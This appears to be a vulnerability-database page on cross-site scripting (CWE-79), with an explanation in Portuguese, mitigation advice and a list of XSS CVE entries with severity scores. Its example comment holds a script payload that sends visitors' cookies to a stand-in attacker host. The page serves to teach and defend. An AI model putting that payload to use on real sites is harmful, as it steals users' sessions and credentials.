Fallos del tipo CWE-79

28.634 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-21686HIGHThis High severity Stored XSS vulnerability was introduced in versions 7.13 of Confluence Data Center and Server. This Stored XSS vulnerabiEPSS 0.9%CVE-2024-43476HIGHMicrosoft Dynamics 365 (on-premises) Cross-site Scripting VulnerabilityEPSS 0.9%CVE-2021-27658MEDIUMexacqVision Enterprise Manager CSSEPSS 0.9%CVE-2021-4143HIGHCross-site Scripting (XSS) - Generic in bigbluebutton/bigbluebuttonEPSS 0.9%CVE-2026-13731HIGHWPBot <= 8.4.9 - Unauthenticated Stored Cross-Site Scripting via 'conversation' ParameterEPSS 0.9%CVE-2023-39366MEDIUMStored Cross-site Scripting in data_sources.php through Device-Name in 'select' input in CactiEPSS 0.9%CVE-2024-53255MEDIUMReflected Cross-site Scripting in /admin?page=media via file Parameter in BoidCMSEPSS 0.9%CVE-2021-24724—Timetable and Event Schedule by MotoPress < 2.3.19 - Author+ Stored Cross-Site ScriptingEPSS 0.9%CVE-2022-2036CRITICALCross-site Scripting (XSS) - Stored in francoisjacquet/rosariosisEPSS 0.9%CVE-2022-1029—Limit Login Attempts < 4.0.72 - Admin+ Stored Cross-Site ScriptingEPSS 0.9%CVE-2021-25062—Orders Tracking for WooCommerce < 1.1.10 - Reflected Cross-Site ScriptingEPSS 0.9%CVE-2021-25015—myCred < 2.4 - Reflected Cross-Site ScriptingEPSS 0.9%CVE-2021-25031—Image Hover Effects Ultimate < 9.7.1 - Reflected Cross-Site ScriptingEPSS 0.9%CVE-2021-43855HIGHStored XSS via SVG in Requarks/wikiEPSS 0.9%CVE-2020-36635LOWOpenMRS Appointment Scheduling Module AppointmentTypeValidator.java validateFieldName cross site scriptingEPSS 0.9%CVE-2023-28665MEDIUMThe Woo Bulk Price Update WordPress plugin, in versions < 2.2.2, is affected by a reflected cross-site scripting vulnerability in the 'page'EPSS 0.9%CVE-2024-45714MEDIUMSolarWinds Serv-U Stored XSS VulnerabilityEPSS 0.9%CVE-2023-21564HIGHAzure DevOps Server Cross-Site Scripting VulnerabilityEPSS 0.9%CVE-2021-25035—Backup and Staging by WP Time Capsule < 1.22.7 - Reflected Cross-Site ScriptingEPSS 0.9%CVE-2017-16721—A Cross-site Scripting issue was discovered in Geovap Reliance SCADA Version 4.7.3 Update 2 and prior. This vulnerability could allow an unaEPSS 0.9%